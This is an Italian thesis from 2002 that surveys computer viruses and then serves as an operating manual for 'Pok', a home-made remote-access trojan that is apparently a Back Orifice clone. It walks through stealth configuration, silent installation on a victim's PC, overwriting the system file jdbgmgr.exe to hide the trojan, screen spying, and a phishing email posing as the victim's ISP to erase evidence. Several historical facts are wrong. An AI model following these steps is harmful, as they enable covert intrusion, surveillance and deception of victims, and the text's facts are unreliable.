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Avvertenza: La presente tesi di specializzazione appartiene in tutte le sue parti al “Politecnico degli studi aziendali di Lugano” compresi i codici sorgente i manuali d’uso e i contenuti tecnici allegati. Si diffida espressamente chiunque all’utilizzazione dei codici sorgenti per la creazione l’utilizzo e la diffusione degli eseguibili ottenibili dalla compilazione dei suddetti codici.

I codici risultano redatti e depositati in territorio Svizzero e quindi non assoggettabili alla legislatura italiana.

Si ricorda che l’intrusione informatica in Italia è un reato penale, e che la creazione e diffusione di programmi classificati come virus è un reato perseguibile penalmente.   

Alcune routine della presente tesi necessiteranno di notevoli nozioni di programmazione per poter funzionare in modo da poter sgravare l’autore da possibili implicazioni legali dovuto a l’uso/abuso dei presenti codici senza preventiva autorizzazione.

Cap.1      Introduzione.

Definizione.

Definiamo come virus un programma o applicativo in grado di eseguirsi ed eventualmente installarsi senza lo specifico consenso dell’operatore.

Esistono una moltitudine di programmi e suite aventi questa proprietà pur non essendo stati pensati espressamente per essere dei virus.

Nella storia dei computer si sono susseguite diverse generazioni di virus che sostanzialmente seguivano l’evoluzione dei sistemi operativi a che erano destinati a colpire.

Prima generazione di virus

I programmi virus destinati a colpire il glorioso “Microsoft Disk operation system” noto come MS-DOS erano per lo più dei TSR, ovvero residenti in memoria RAM e pienamente cooperante con i task attivi. 

I programmi di tipo TSR agiscono direttamente sugli interruput e quindi vengono esguiti in back ground senza disturbare il processo in corso, un pò come agisce, tanto per fare un esempio, il driver del mouse. 

I danni software derivati dalla presenza dei Virus di vecchia generazione erano ingenti, mentre quelli hardware erano spesso solo simulati.

La virulenza di questi “animaletti” era elevatissima quindi la loro presenza nel sistema una volta finita la fase di latenza era immediatamente rilevata.

I target (obbiettivi da colpire) erano solitamente i programmi con estensione .exe, .com, oppure il MBR (master boot record, che contiene la traccia zero dell’H.D.), o distruggevano la FAT ( tabella di allocazione dei file rendendo inutilizzabile tutto il contenuto dell’H.D.  

Seconda generazione di virus.

Nella seconda generazione cambia il modo di agire, gli effetti e i target, si tende a rimanere nello stato di latenza e ad essere non virulenti (cioè a non clonare il virus in modo che sia più difficilmente rilevabile).

Gli scopi sono più diretti all’intrusione informatica, lo spionaggio e il furto di documenti, tanto che sono stati scritti appositi articoli di legge basati sulla “violazione di domicilio”  per i quali sono previste sanzioni penali emesse per la prima volta nel gennaio 2002 a carico di un gruppo di Hacker colpevoli di avere attaccato una istituzione privata.

Una delle caratteristiche salienti dei nuovi virus è l’opzione conosciuta come  Stealth  la quale è una tecnologia software che fornisce al programma TSR l’abilità di lanciarsi automaticamente e in maniera del tutto “invisibile” anche da un controllore di task attivi.

Gli esempi più eclatanti di Stealth sono il virus “brain” il quale su richiesta doll’operatore di mostrare il contenuto e l’attivazione attuale del settore di boot (settore di avvio) mostra l’mmagine dell’originale e non quello attualmente in uso.

Un altro virus molto “simpatico” è il Frodo che ad una richiesta di scansione antivirus era in grado di auto disinfettarsi per poi ritornare attivo alla chiusura del file rendendosi praticamente inrilevabile. 

La richiesta di proprietà del file sospetto infetto viene soddisfatta da un’immagine fittizia che riporta la corretta lunghezza in Kbyte e il fatto che “non è stato recentemente modificato”.

Un virus con questa opzione può comunque rendere instabile il file infetto che delle volte presenta un crasch (si blocca).

La tecnologia Stealth crea delle chiavi sul registro di windows che in fase di Boot vengono lette ed eseguite con la conseguenza che una ben definita area di memoria RAM viene riservata all’applicativo ospite tramite la chiamata di un file eseguibile che si trova nelle directory protette del sistema operativo.

Si ricorda che Windows nasconde le cartelle di sistema ponendo l’under score (lineetta bassa) davanti al nome della cartella stessa, e che un file lanciato in memoria facente parte del sistema non può essere rimosso durante la fase runtime (di esecuzione).

Un virus che ha lo scopo di rallentare la macchina infetta è Whale il quale impiega la tecnologia Stealth in maniera un po’ diversa, infatti è in grado di cambiare la propria criptatura e la chiave con cui viene gestito dal sistema operativo. Ad ogni sezione di windows esso sceglie una criptatura da un set random (casuale) quindi non distinguibile direttamente dai sistemi antivirus. 

Trojan e worms

Gli ultimi sviluppi informatici hanno portato alla produzione di programmi molto maliziosi che sfruttano la labilità dei sistemi basati su windows anche se aventi file system NT. 

Da quanto stiamo per dirvi potrete dedurre da soli che non esiste alcuna sicurezza per i vostri dati se il vostro PC è basato su windows…quindi se i vostri sistemi montano questi file system Condoglianze! Perché per voi non esistono sistemi sicuri con cui difendervi.

Da alcuni anni a scopo di ribellione nei confronti dell’egemonia di alcune note aziende produttrici di Software, e al fine di impedirne il monopolio di mercato, un gruppo di studenti e di affermati ingegneri provenienti da svariate parti del mondo, spesso elogiati e spesso dannati dalle recensioni mondiali hanno fondato quella che può essere considerata una vera e propria setta “nota agli enti governativi e investigativi internazionali con il nome culto della mucca morta “ il cui scopo è anche quello di Sfida contro i propri limiti e dimostrazione al mondo delle proprie capacità.

I prodotti di questa “loggia” di solito fanno parte del progetto GNU che mette a disposizione software e progetti open source a libera distribuzione come avviene ad esempio per Linux e cose analoghe.

Ciò che spinge questo gruppo di persone nella loro attività è il concetto che il software come altri rami della cultura sono patrimonio dell’umanità e quindi devono essere di pubblico dominio ed utilizzo….ovviamente ciò contrasta con gli interessi di tutte le aziende private che lavorano con un naturale scopo di lucro.

Di notevole interesse è il convegno annuale mondiale denominato DEFCON # giunto alla settima edizione in cui i migliori programmatori del mondo hanno la possibilità di confrontarsi presentando nuove idee e risultati.

Spesso queste persone, o almeno una buona parte di essi, amano autodefinirsi “Hackers”e non di rado vengo contatti da aziende o uffici governativi al fine di testare la sicurezza delle loro fortezze informatiche….spesso miseramente scardinate al grido di “Camelot è caduta !”

L’idea basilare di un virus “Trojano” sta nel nasconderlo all’interno di un file vettore che a differenza di altri può essere anche diverso da un eseguibile, ad esempio un’immagine .gif e un documento word. 

Analogamente alla famosa vicenda secondo cui i soldati si nascosero all’interno di un cavallo di legno al fine di oltrepassare le mura della città di Troia il virus sotto esame si nasconde nel codice del file vettore di natura qualsiasi e supera il muro di fuoco “firewall” che rappresenta la vostra protezione dall’area internet…una volta dentro non c’è scampo…se il cavallo si apre i soldati metteranno a ferro e fuoco la vostra città o meglio il vostro dominio.

La meschinità di questo fatto sta nel caso che di solito vi viene presentato il file infetto come un “regalo” da parte di un amico esattamente come accadde ai troiani, quindi diffidate nella maniera più assoluta di qualsiasi cosa che vi venga allegata da persone di cui non siete assolutamente certi della loro lealtà nei vostri confronti….anche se il “regalino” non risulta essere un programma con estensione .exe 

Un virus di tipo Trojan comunque si muove per definizione a bordo di un vettore e quindi deve essere abbinato a un protocollo FTP  (files tranfert protocols ), molto spesso si diffonde con gli allegati della posta elettronica.

L’unica maniera per provare l’esistenza di un troiano all’interno di un file è quello di procedere al disassemblaggio del medesimo, ma questo è solitamente impraticabile da un programmatore che sia poco più che principiante, figuriamoci quindi da un mero utente dei software commerciali.

I programmi antivirus sono basati su algoritmi di tipo VCRC (Cyclic Redundancy Codes for any file and validation data) che cercano all’interno del codice eseguibile delle stringe note, non compatibili con il tipo di file vettore e che abbiano corrispondenza con quelle memorizzate in data base a corredo.

È di facile comprensione il fatto che variare alcune ricorrenze nel codice sorgente prima di assemblarlo rende il prodotto finale Polimorfo, ovvero irriconoscibile dall’antivirus perché non più corrispondente alle ricorrenze a data base. 

Worm

Questo tipo di Virus ha un comportamento ancora piu infame del Trojan visto che per la sua diffusione  utilizza i protocolli http, o irc (internet real chat), pertanto non ha bisogno di alcun vettore per il trasporto.

Il caso più eclatante si ebbe nel 1998 quando internet negli stati uniti dovette subire una momentanea disconnessione a causa di “the Internet Worm” che aveva scoperto una falla nel sistema di protocolli Unix sendmail e il “Finger”, che come tutti i programmatori navigati sanno serve a vedere se un utente in internet sta attualmente utilizzando il protocollo TCP-IP ovvero se sta navigando o comunque è connesso.

Scopo principale di un trojan

Lo scopo principale come già accennato non è quello di devastare le installazioni software di un personal computer come facevano i virus di prima generazione, ma quello di avere uno strumento di amministrazione remota per macchine Windows 95/98 in grado di dare addirittura più accesso e controllo dell’operatore seduto davanti al pc.

Il programma consente, ad esempio, di accedere via Internet o rete locale a un computer remoto, sul quale permette di esaminare e modificare il contenuto di file e directory, visualizzare ciò che c'è sullo schermo, modificare il Registro, telecomandare mouse e tastiera e molto altro.

Come avrete intuito, è uno strumento estremamente utile per chi deve fare la manutenzione di macchine Windows e vuole evitare di doversi recare fisicamente sul posto. La possibilità di telecomandare  mouse e tastiera consente di mostrare all'utente l'esatta procedura da seguire o addirittura eseguirla per lui.

Quanto esposto nel seguito deve essere considerato un virus dato che può essere configurato e installato su un computer senza il consenso dell’utente con semplici espedienti (che non troverete qui). 

Il trojan può monitorare l'attività di un utente (arrivando ad accendergli microfono e Webcam) senza segnalare in alcun modo che è in corso un monitoraggio. Di conseguenza si presta ad alcuni usi molto scorretti, come ad esempio l'intrusione informatica.

Cap. 2     Suite di Amministrazione remota.

Basi di amministrazione remota.

 Introduciamo ora la terminologia di base utile per la comprensione della tesi.

Un Trojan generalmente è composto da due parti: un programma client e un programma server. 

La prima parte va installata sulla macchina dell'amministratore (chi vuole prendere il controllo); la seconda va installata sul computer da amministrare. 

Per analogia, i due computer sono chiamati rispettivamente macchina client (quella dell'amministratore) e macchina server (quella da amministrare). 

Questa situazione può creare inizialmente un po' di ambiguità lessicale, infatti solitamente un server ha un ruolo dominante e attivo e il client si limita a ricevere il prodotto e le istruzioni del server. Nel caso del Trojan in questione, invece, è il client che comanda il server invertendo un po’ la situazione classica.

Nella trattazione useremo la seguente convenzione:

· macchina client = macchina dell'amministratore 

· macchina server = macchina da amministrare 

· amministratore = operatore che assume il controllo.
La suite di programmi si compone di tre file:

· Pok_client= Strumento da installare in locale ad uso dell’amministratore.

· Pok_config = Configuratore del software Server.

· Pok.exe = Server da istallare nella macchina da controllare
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fig.1  Icone scelte per la suit di programmi che compongono il virus Pok.

Configurazione del Server:

Al fine di poter telecontrollare in maniera univoca il computer su cui è installato il server è necessario riconoscerlo senza ambiguità tra i milioni di PC che in ogni istante condividono la rete delle reti (internet).

Il programma server va configurato prima di essere installato sul PC da amministrare. Questa configurazione si fa sulla macchina client (quella dell'amministratore), usando l’apposito programma pok_config.exe.
Configurare il programma server

1. Per prima cosa, si esegua una copia del file Pok_Server.exe e rinomirla usando un nome intuitivo (ad esempio, se andrà installata su un computer affidato a una persona che si chiama Anna, potreste chiamarlo Anna.exe; in questo esempio, visto che la macchina da amministrare è un laptop Sony , la copia si chiamerà Sony.exe).
Lasciare intatta l'estensione .exe. 
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fig.2 Il server standard viene rinominato Anna.exe oppure Sony.exe o altro nome qualsiasi.


 Si noti che durante questa fase le icone di lancio del Server  compaiono nella versione Standard.

2. Avviare Pok_cfg.exe e scegliere il file .exe che si intende configurare (in questo caso, quindi, Sony.exe).
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fig.3 Con un doppio Click sull’icona di Pok_config si apre il Form sovrastante.

Ora è necessario aprire un server di Pok agendo sul tasto “Apri Server”, ovviamente viene proposta la possibilità di spostarsi tra le cartelle nella maniera classica di windows.Una volta caricato il Server nella casella “Opzioni Variabili” compariranno le varianti minime configurabili come ad esempio l’attivazione della modalità Stealth che comprendl’opzione “insidius mode” e Startup.  Fig. 4 Aspetto del programma di configurazione di Pok, opzioni base.

[image: image4.png]© " Configurazione del Server Pok =101 %]

File Server Carente:

ApiServer
[CAWINDOWS Deskiop Gory ex
oG SalvaServer
Versione 1.1
Chiuci Server Uscha

Plugins Carcai (compaiti BI)

PluginName | Version | BOZK Ver | Descrplion Aggiungi

Rimuovi

‘ | ] Estisufie
Opzioni VAiabi Yelor corente

[otaned
O Steakth

(- Getacgio Opziori

€ Disattval € pttiva

Hioyo Velar.

T

Tesi di Specializzazione:Dott. G.M. Lugano convacazione del 17 Giugno 2002





3. Nella schermata dedicata al tipo di rete (Network type), accettare il default (TCPIO). 
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fig.5 Selezione del protocollo di comunicazione Internet.

4. Scegliere la porta sulla quale si intende attivare la comunicazione fra programma client e programma server. Come dice il programma, è meglio usare un valore superiore a 1024 per evitare conflitti. Le istruzioni originali di Pok usano come esempio la porta 18006.
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fig. 6 Selezione della porta di accesso al computer Server.

5. Scegliere l'algoritmo di cifratura che si vole usare (probabilmente potrete usare soltanto quello XOR, se non si è residenti negli Stati Uniti). 
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fig. 7 Algoritmo di cifratura standard 

6. Digitare una parola chiave (password) che servirà a garantire che solo chi la conosce potrà effettuare amministrazione remota sulla macchina sulla quale verrà installato il programma server che stiamo configurando. Per comodità di questo esempio, supponete che la password sia il classico, intramontabile pippo. 
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 fig 8 Password

7. Cliccate su Uscita,  il server è pronto per essere installato.

Abbiamo visto come tutti i parametri configurabili del programma server Pok sono elencati nella struttura a cartelle nell'angolo in basso a sinistra, ed è qui che si viene per modificarli. Ad esempio, la porta di comunicazione è indicata nella cartella Startup alla voce Init Cmd Bind Str.

Configurazione della modalità “Spionaggio”

Per default, il programma server Pok è configurato in modo che sia necessario avviarlo manualmente ogni volta sulla macchina da amministrare. Se c’è l’intenzione di farlo avviare  automaticamente ogni volta che viene acceso il computer da amministrare, dovete attivare il parametro Stealth > Run at startup. Usate quest'opzione con un po' di buonsenso e non abusatene.
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fig.9 Settaggio del Server per avvio automatico in fase Bootstrap di windows

Una cosa fondamentale per una spia è l’eliminazione delle tracce del suo passaggio, per fare questo è sufficiente abilitare la seconda voce nella lista della cartella Stealth, “Delete original file”, così facendo una volta mandato in esecuzione il Server esso apporterà le dovute modifiche al registro di windows per poi autodistruggersi in maniera permante senza ovviamente passare per il cestino.

L’opzione “Runtime pathname” consente al server di istallare il suo nucleo nella cartella di sistema con un nome a scelta, un utente malizioso farà in modo di farlo sembrare il piu’ possibile ad un file standard di Windows.

Se oltre alla malizia ci si vuole mettere anche un pò di cattiveria si può optare per JDBGMGR il quale è un file utilissimo ma non indispensabile al sistema operativo (si tratta del Java Bebuger che consente e monitorizza l’esecuzione delle Applet, in modo particolare durante la navigazione internet).

Usando JDBGMGR si sovrascrive questo file di sistema distruggendolo, l’utente un po’ ingenuo non capirà come mai alcuni siti web non vengono visualizzati correttamente e difficilmente sarà in grado di ripristinare la mormale funzionalità di sistema.

Si vuole fare notare che quella allegata alla presente Tesi è l’unica copia esistente del Trojan Pok ( nome che deriva dall’Ungherese   “Ragno” , che con aria minacciosa insidia la rete)  pertanto il nucleo risulta sconosciuto agli attuali Software Antivirus.

Il file che si vuole sostituire ha l’icona rappresentata in figura.e qualunque utente esperto, o quasi, di windows ne conosce posizione, e funzionalità, quindi non procederebbe mai alla rimozione manuale.
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fig.10 File di sistema che si consiglia di colpire per occultare al meglio il Trojan.

In caso di fallimento della rimozione del Server con le tecniche previste in Pok Client.

Supponiamo che per un qualsiasi motivo non ben definito non si riesca piu a rimuovere il Server dal computer di chi ha subito la nostra intrusione.

È ovvio che bisogna escogitare un sistema che ci consenta di “fare sparire” la prova del reato commesso  cautelandoci da eventuali ritorsioni legali.

Una tecnica vergognosamente subdola potrebbe essere la seguente: (si ricorda lo scopo puramente accademico della tesi e che chiunque è diffidato dalla messa in opera).

· Fate appoggio ad un ISP (internet server provider) che metta a disposizione il servizio di mail anonimo.

· Inviare una mail spacciandovi per il gestore Internet a cui si collega la persona che avete colpito, ( se siete riusciti a telecontrollare il suo computer allora di certo sapete  a che ISP si collega.

· Inviate una mail spacciandovi per l’amministartore del server con il seguente testo o analogo:  Servizio antivirus Online, siamo spiacenti di comunicare ai nostri utenti che una momentanea sconnessione del servizio di protezione del nostro server potrebbe avere causato l’infezione di alcuni nostri clienti con un nuovo virus.

Si chiede la collaborazione dei gentili clienti per l’autorilevazione dello stesso, si tratta di un virus a lungo periodo di latenza circa 14 giorni, una volta esploso distrugge la FAT del sistema rendendolo inutilizzabile.

Si prega di procedere come segue:  Avviare il cerca File di windows e inserire la ricerca per jdbgmgr.exe , se viene rilevato un file che mostra l’icona a forma di orsetto non apritelo per nessun motivo! Cancellatelo immediatamente.     Si ringrazia per la collaborazione.  (Vedi nota n° 1 Appendice “Implicazioni legali”).

(Vedi nota n° 1 Appendice “Implicazioni legali”).

Opzione Hide process.

Alcuni sistemi operativi mettono a dispozione dei tools che consentono di visualizzare i task attivi, il loro nome e la loro posizione. Abilitando la funzione Hide process il Server attivo non sarà  visualizzabile neppure da questi programmi anche se appositamente studiati.

Opzioni  Host process name e Service Name (NT).


Quando il server è installato ed attivo l’aministratore potrà rintracciare la sua creatura utilizzando i nomi inseriti in questi campi.

Nel sistema NT ad esempio si consiglia ( e viene anche proposto come default) il nome Remote Administration Service.

Una volta apportate tutte le modifiche desiderate al programma server salvare cliccando su Salva Server. Chiudere il programma di configurazione, oppure cliccare su Chiudi Server (altrimenti non potrete copiare correttamente il file del programma server e otterrete un errore di condivisione se cercate di farlo via rete locale). A questo punto il programma server è pronto per essere installato sulla macchina da amministrare.

Versioni di Windows telecontrollabili.

Il programma server funziona soltanto con Windows 95 OSR2, Windows 98 e Windows NT. Il sistema non è stato testato su Windows 98 Seconda Edizione, Windows ME e Windows 2000, e dubito fortemente che funzioni con Windows XP per il quale sarà necessaria una modifica ai sorgenti.

Installare Pok_Server sul PC da amministrare (macchina remota)

Attenzione: prima di installare Pok_Server sul PC Target (la macchina remota), è bene essere al corrente di  come si disinstalla e quali modifiche apporta al sistema operativo: I dettagli si trovano più avanti in questa Tesi. 

E' altamente consigliabile, soprattutto a chi è cosciente di non essere molto ferrato sull’utilizzo del PC, di  effettuare un backup completo. 

Il programma server “Pok_Server.exe” va configurato prima di essere installato sul PC remoto da amministrare. Questa configurazione si fa sulla macchina client (quella dell'amministratore), usando il programma Pok_config.exe nella maniera già esposta..

Installazione vera e propria del programma server

L'installazione vera e propria è molto banale: si tratta soltanto di copiare il file del programma server (Sony.exe, i questa esposizione) alla macchina da amministrare ed eseguirlo sulla macchina stessa.

L'esecuzione è molto rapida e non visualizza praticamente nulla sullo schermo (neppure un messaggio di conferma). Al termine di questa operazione, la macchina da amministrare è pronta per l'amministrazione remota. Non occorre riavviare Windows sulla macchina da amministrare.

Se avete impostato il programma server in modo che si avvii automaticamente, lo farà ogni volta che il computer da amministrare riavvia Windows.

Nota bene che non c’è nessun sintomo visibile della presenza in esecuzione del nostro Server, sarà quindi inutile andare a cercarlo nella barra dei programmi attivi di windows (vicino all’orologio) ed in molti casi riesce anche ad eludere appositi strumenti di sorveglianzadi tipo “process viewer”.

L’utente malizioso scoprirà da solo svariate tecniche per far pervenire il Server ad utenti non propriamente consenzienti, ma ovviamente in questa sede si diffida questi dal farlo.

Si consiglia vivamente di consultare in appendice  i risvolti legali della questione.

Che cosa fa esattamente Pok_Server quando si installa sulla macchina server?

· Scrive nella cartella system di Windows (per Windows 95/98) o nella cartella system32 (per Windows NT) un file che per default si chiama umgr32.exe. Il nome, tuttavia, può essere modificato, come già visto, durante la configurazione del programma server. 

· Se è stato impostato l'avvio automatico, modifica il Registro di Windows della macchina da amministrare, in modo da avviarsi automaticamente e senza segnalazioni ogni volta che l'utente avvia Windows. 

Collegarsi alla macchina da amministrare

L'esempio che segue si basa su due macchine collegate in una elementare rete locale ethernet. Gli indirizzi IP citati nel seguito rispecchiano questa situazione. Prima di fare esperimenti via Internet, si consiglia di provare su una piccola rete locale: soprattutto, è bene fare gli esperimenti collegando due vostri computer. 

L'amministrazione remota via Internet ha ulteriori problemi e requisiti che non ho ancora approfondito e che verranno trattati più avanti: tanto per farne due esempi, l'amministrazione via Internet richiede ovviamente che la macchina da amministrare sia collegata in quel momento a Internet e che l'amministratore ne conosca o venga a sapere in qualche modo (ad esempio con winipcfg) l'indirizzo IP corrente (che spesso cambia da sessione a sessione).

Cap. 3     Il Client .
Il Client del Trojan Pok.

Lanciare il programma client (Pok_Client.exe) sulla macchina dell'amministratore e impostare un workspace con le medesime configurazione del Server precedentemente impostato. Create una nuova definizione di connessione cliccando sul pulsante che reca l'iconcina di un computer, nella zona in basso a sinistra. Compare la schermata mostrata qui sotto.
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fig.11  Aspetto del Software Client di Pok con nessuna opzione attivata.

· Nella casella Name of this server immettete un nome qualsiasi che vi ricordi a quale computer è destinata questa connessione (ad esempio Computer di Anna). 

[image: image12.png]JLugano 17/06/02
[Lruso a1 questo
sottware non &

d =

Edtare o proprieta di questa server per
modficare la sta deiserver agganciabil
Scieglere untipa appropiiata di Comnesione,
Ciptatura & Autenticazione.

Name del Server corente:
I

Inciizzo delserver carerte:

Tipo di connessione:
Ciitotura di Defaul:
Auterticazione:

po—_____




 fig .12 Configurazione del Client.

· Nella casella Indirizzi Server immettete l'indirizzo IP della macchina server (nell'esempio, visto che si tratta di una rete locale, l'indirizzo è fisso e in questo caso specifico è 192.168.0.1). Probabilmente si dovrà immettere anche il numero della porta definito poco fa (in questo esempio, quindi, la casella contiene 192.168.0.1:18006).  La sottostante fig. 13 mostra l’iserimento di un primo Server sul Workspace 
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A questo punto cliccate su OK e poi su Click to Connect. Se tutto funziona, dovreste ottenere la risposta del programma server nella zona inferiore della finestra di dialogo.

Nota per gli utenti di Zone Alarm: al primo tentativo di connessione, se c'è Zone Alarm sulla macchina client, il tentativo verrà rilevato e intercettato da Zone Alarm. Zone Alarm identificherà correttamente il programma client come Pok_Client. Questo allarme non costituisce un segnale di pericolo: anzi, indica che Zone Alarm sta facendo il suo dovere.
Se invece Zone Alarm è presente sulla macchina server, rileverà il tentativo di connessione da parte del programma server di Pok..

Nel caso dell'amministrazione remota via ethernet, se la macchina server è impostata per adoperare le funzioni di risparmio energetico e queste funzioni disattivano o mettono in standby la scheda di rete (esempio tipico: laptop con scheda di rete PCMCIA), la connessione non si attiva. Per attivarla occorre "svegliare" la macchina server, premendo un tasto o muovendo il mouse o simili, questo implica che solo se il PC che ha subito l’attacco con queste opzionio attive è in uso, ovvero ha il proprietario alla tastiera, sarà possibile prenderne il controllo.

Attenzione: Il programma esposto in questa Tesi non è l’unico esistente in grado di svolgere queste azioni, quindi si consiglia vivamente a tutti i possessori di un PC collegato ad un modem di disabilitare l’opzione Wake-Up on modem ring, presente tra i vari settagli del BIOS, infatti è possibile accendere un PC ed allacciarlo a internet con l’ausilio di alcuni Plug_in (file .DLL opzionali ).

E’ facile immaginare quali possano essere i danni che un amministratore poco coscienzioso o un Hacker potrebbero  fare se gli lasciassimo a disposizione la macchina per tutta la settimana in cui ci troviamo in vacanza al mare. 

Primi test del sistema.

Installato il Server possiamo cimentarci con l'amministrazione remota della macchina remota. Giusto per fare qualcosa di sicuramente innocuo e verificare che tutto funzioni, provate a mandare un messaggio allo schermo della macchina da amministrare:

· Scegliete la cartella GUI e la voce System Message Box. 

· Nella casella Title, immettete il titolo che volete dare alla finestra del messaggio. Nella casella Text, immettete il testo del messaggio. 

· Cliccate su Send Command. Il messaggio compare sullo schermo della macchina da amministrare. Il programma client conferma la visualizzazione del messaggio sulla macchina server segnalando Dialog box displayed. 

Per terminare la connessione, cliccate su Disconnect. Chiudete il client: vi viene chiesto se volete salvare il workspace (ambiente di lavoro). Salvatelo con un nome che ricordi la macchina server a cui è abbinato.

Come si disinstalla il programma server Pok_Server.exe

· Eliminate il file di installazione del programma server (nell'esempio, Sony.exe), altrimenti potrebbe essere riattivato (volontariamente o meno) eseguendolo con un semplice doppio clic. L'amministratore può anche cancellare questo file da remoto.

· Eliminate il file umgr32.exe che si trova nella cartella system di Windows (per Windows 95/98) o nella cartella system32 (per Windows NT), come descritto qui sotto. 

Attenzione: durante la configurazione del programma server è possibile dirgli di installarsi con un nome diverso da umgr32.exe (che è il default). In tal caso, ovviamente, andrà cercato e cancellato un file con il nome che gli avete detto di usare.

Se avete attivato l'opzione Stealth > Run at startup, eliminare il file umgr32.exe (eventualmente rinominato) non è facile, perché Windows se lo riserva come file di sistema e non ne consente la cancellazione diretta (o se la consente, va in crash parziale o completo subito dopo). Posso proporre due soluzioni:

· l'utente della macchina da amministrare può uscire a DOS e cancellarlo da DOS. Ovviamente, se l'utente non è capace di fare queste cose, questa soluzione è impraticabile: certo, si può sempre andare fisicamente alla macchina da amministrare e provvedere alla cancellazione del file, ma  verrebbe  meno l'ideale di amministrazione remota.

· L'amministratore può usare il programma client per ordinare al programma server di sganciare da Windows il proprio file, così Windows non lo considera più come file riservato e l'utente della macchina da amministrare può cancellarlo usando le normali procedure di Windows. Ovviamente, se l'amministratore vuole cancellare da remoto il file di installazione (Sony.exe nell'esempio), lo deve fare prima di eliminare il programma server dalla macchina server. Questa è di gran lunga l'opzione più efficace. 

La seconda soluzione si esegue in questo modo:

· L'amministratore si collega alla macchina server usando il programma client di Pok. 

· Una volta stabilita la connessione, l'amministratore seleziona, nel programma client, la cartella Server Control e l'opzione Shutdown Server, digita DELETE nella casella Type 'DELETE' to ERADICATE, e infine clicca su Send command. 

· Questo comando toglie dal Registro della macchina da amministrare l'istruzione di avviare automaticamente Back Orifice a ogni avvio di Windows e sgancia da Windows il file del programma server umgr32.exe (eventualmente rinominato, come da nota qui sopra). 

· A questo punto basta dire all'utente della macchina da amministrare di cancellare il file del programma server con le procedure normali. 

A questo punto state impartite le nozioni necessarie per rendere l’utente in  grado di configurare, installare e disinstallare Pok. Adesso vediamo come usarlo per fare molto più che visualizzare una finestra di messaggio sullo schermo della macchina da amministrare.

Cap.4     Espandere Pok con i plug-in .

Espandere Pok con i plug-in
Un plug-in di Pok è un programma supplementare che amplia le funzioni della versione di base del sistema di telecontrollo. In questa sezione vedremo come prelevare, installare, configurare e usare un plug-in.

Lo scopo accademico della presente Tesi esula dall’implementazione delle classi relative ai plug in, (cosa che tra l’altro risulterebbe davvero molto complessa) percui si è mantenuta la compatibilità con un gruppo di “opzionali” nati per un noto “Trojan “  sviluppato a cura del culto della mucca morta. 

Procurasi i plug in non è poi così difficile e si lascia volontariamente un pò di mistero in merito, anche con il duplice scopo di dissuadere chi venisse in qualche maniera in possesso del programma Pok ad usarlo. Ribadisco che è e deve rimanere una trattazione accademica, non sono mai state rilasciate copie degli eseguibili e dei sorgenti, che la presente è depositata con atto notarile in territorio Svizzero.

Si sottolinea in modo particolare che l’eventuale venuta in possesso da parte di chicchessia del programma si deve risolvere con l’immediata cancellazione.

Chiunque Abusi delle potenzialità di questo programma lo fa a suo rischio e pericolo e in piena coscienza di tutti questi avvertimenti impartitogli.

Analoghi avvisi sono stati inseriti tra le schermate del Software, quindi chi lo usasse ne viene portato per forza di cose a conoscenza. 

Prendiamo come esempio BO_Peep, un plug-in che consente di vedere sullo schermo della macchina dell'amministratore quello che compare sullo schermo della macchina da amministrare.

Il plug-in deve essere innanzitutto configurato usando Pok_config nella sezione dedicata a questo scopo.

Configurare un plug-in per il programma server

· Per prima cosa occorre mettere il plug-in nella directory in cui è installato il programma server di Pok creato precedentemente.

· Lanciate il programma di configurazione del server (Pok_config.exe) e uscite dal Wizard.

· Cliccare su Open Server e selezionate il programma server che è stato appena creato (Sony.exe). E' questo il file che verrà modificato, integrandovi bo_peep.dll. 

· Cliccare su Insert. Dalla finestra di dialogo che compare,e selezionare il file bo_peep.dll. 

· Spesso a questo punto ci sono dei parametri da configurare, ma in questo semplice esempio l'amministratore accetta i valori di default e quindi non è necessaria alcuna configurazione. Il parametro più importante di cui prendere nota è il numero della porta che verrà utilizzata dal plug-in. 

· Cliccate su Save server e poi su Close server. Questo aggiorna il file del programma server (nel nostro esempio Sony.exe). 

Installare un plug-in sulla macchina da amministrare

Il procedimento è il solito: basta copiare il programma server (che ora include il plug-in, in un unico file) alla macchina da amministrare e poi eseguirlo o farlo eseguire.

Conviene rimuovere o far rimuovere dalla macchina da amministrare qualsiasi copia precedente di Pok_Server prima di installare quella aggiornata.

Configurare il plug-in sulla macchina dell'amministratore

Può sembrare strano, ma prima di poter utilizzare un plug-in occorre installarlo ed eventualmente configurarlo anche sulla macchina dell'amministratore.

· Lanciare il programma di configurazione del programma client (Pok_config.exe) sulla macchina client (cioè quella dell'amministratore). 

· Se il plug-in in questione non è già stato installato, cliccare sul menu Plugins, scegliere Configure e poi Insert e selezionare il file del plug-in (in questo caso bo_peep.dll) che si desidera installare sulla macchina da amministrare. Infine cliccare su Done. E' sufficiente eseguire questo passo una volta sola per ciascun plug-in, anche se usate quel plug-in in più di un programma server. 

· La configurazione vera e propria è necessaria soltanto se sono stati cambiati i valori di default in fase di  configurazione del  plug-in per il programma server. Se non sono state apportate modifiche allora il sistema è pronto per procedere; altrimenti vanno modificati (devono essere uguali nel programma server e nel programma client). 

Usare il plug-in

Una volta copiato e attivato il server di Pok sulla macchina da amministrare, ci si collea come come già descritto. Una volta ottenuto il collegamento, l'elenco dei comandi mostrerà una cartella nuova, di colore azzurro (in questo caso di nome BO_peep): qui si specificano i comandi che controllano il plug-in.

· Nella finestra di dialogo del client Pok, aprite la cartella dei comandi del plug-in (BO_peep) e selezionate il comando di attivazione (in questo caso Start Vidstream) e poi cliccate su Send Command. 

· Nel caso specifico di Bo_peep, immettete alcuni parametri: nella casella FPS digitate il numero di fotogrammi al secondo (diciamo 8, ma non esagerate con numeri troppo alti); nella casella Xres, Yres... digitate 160,120 (sono le dimensioni della finestra che visualizzerà tra poco il contenuto dello schermo della macchina da amministrare); oppure lasciate tutto vuoto e accettate i valori di default. 

· Cliccare sulla voce di menu Plugins e scegliere il nome del plug-in (BO_peep) dal menu e, da questa scelta, l'opzione che è stat attivata nei passi precedenti (in questo caso VidStream Client). Nel caso di Bo_peep compare una piccola finestra azzurra. Cliccate su Connect. 

· Accettare i parametri proposti, tranne il primo (Server Address, che va modificato immettendo l'indirizzo IP della macchina da amministrare, seguito da simbolo di due punti e dal numero della porta usata dal plug-in, come indicato durante la configurazione (nel nostro esempio il primo parametro diventa 192.168.0.1: 18006). Cliccate su OK. 
